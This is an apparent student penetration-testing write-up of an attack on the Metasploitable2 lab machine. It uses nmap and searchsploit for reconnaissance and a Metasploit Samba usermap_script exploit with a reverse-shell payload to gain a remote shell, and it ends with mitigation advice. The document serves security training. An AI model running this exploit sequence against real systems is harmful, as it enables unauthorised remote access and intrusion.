## https://sploitus.com/exploit?id=E9B0AEBB-5138-50BF-8922-2D87E3C046DD
**Internship Project 2 โ Penetration Testing on Metasploitable2**
- Summary:
This project demonstrates a complete penetration testing workflow: reconnaissance, enumeration, exploitation, post-exploitation validation, and mitigation recommendations. The target used is Metasploitable2 and the attack box is Kali Linux.
- Tools:
*Kali Linux (attacker)*
*Nmap (recon)*
*Metasploit Framework (exploitation)*
*SearchSploit / Exploit-DB (triage)*
Steps performed:
1. Scanning:
`sudo nmap -sS -sV -p- -T4 --open -oA scans/target 192.168.x.x`
Identified services (examples): vsftpd 2.3.4 (port 21 banner), Samba smbd 3.x (port 445).
2. Enumeration & Triage:
`searchsploit --nmap scans/target.xml
searchsploit samba 3.0.20`
Matched services to potential exploits (vsftpd backdoor, Samba username-map).
3. Exploitation
- vsftpd backdoor (CVE-2011-2523) attempted โ Nmap banner present but service unresponsive; exploit did not create a session.
- Samba (CVE-2007-2447) exploited successfully:
`msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.x.x
set payload cmd/unix/reverse
set LHOST
set LPORT 4444
exploit
`
Obtained interactive shell and validated user context.
4. Post-Exploitation
- Verified system info:
`
id
uname -a
`
- Collected evidence and screenshots.
5. Mitigation Recommendations
- Regular scanning and asset inventory.
- Prompt patching and version upgrades (update Samba).
- Restrict access to critical ports (firewall rules).
- Disable unused services and anonymous access.
- Apply least privilege to shares and accounts.
- Network segmentation and logging/monitoring.
- Incident response planning.
**Result**
Successfully obtained a remote shell via a Samba exploit, documented the attack path, and produced a mitigation plan. Full logs and command outputs are stored in the scans/ folder.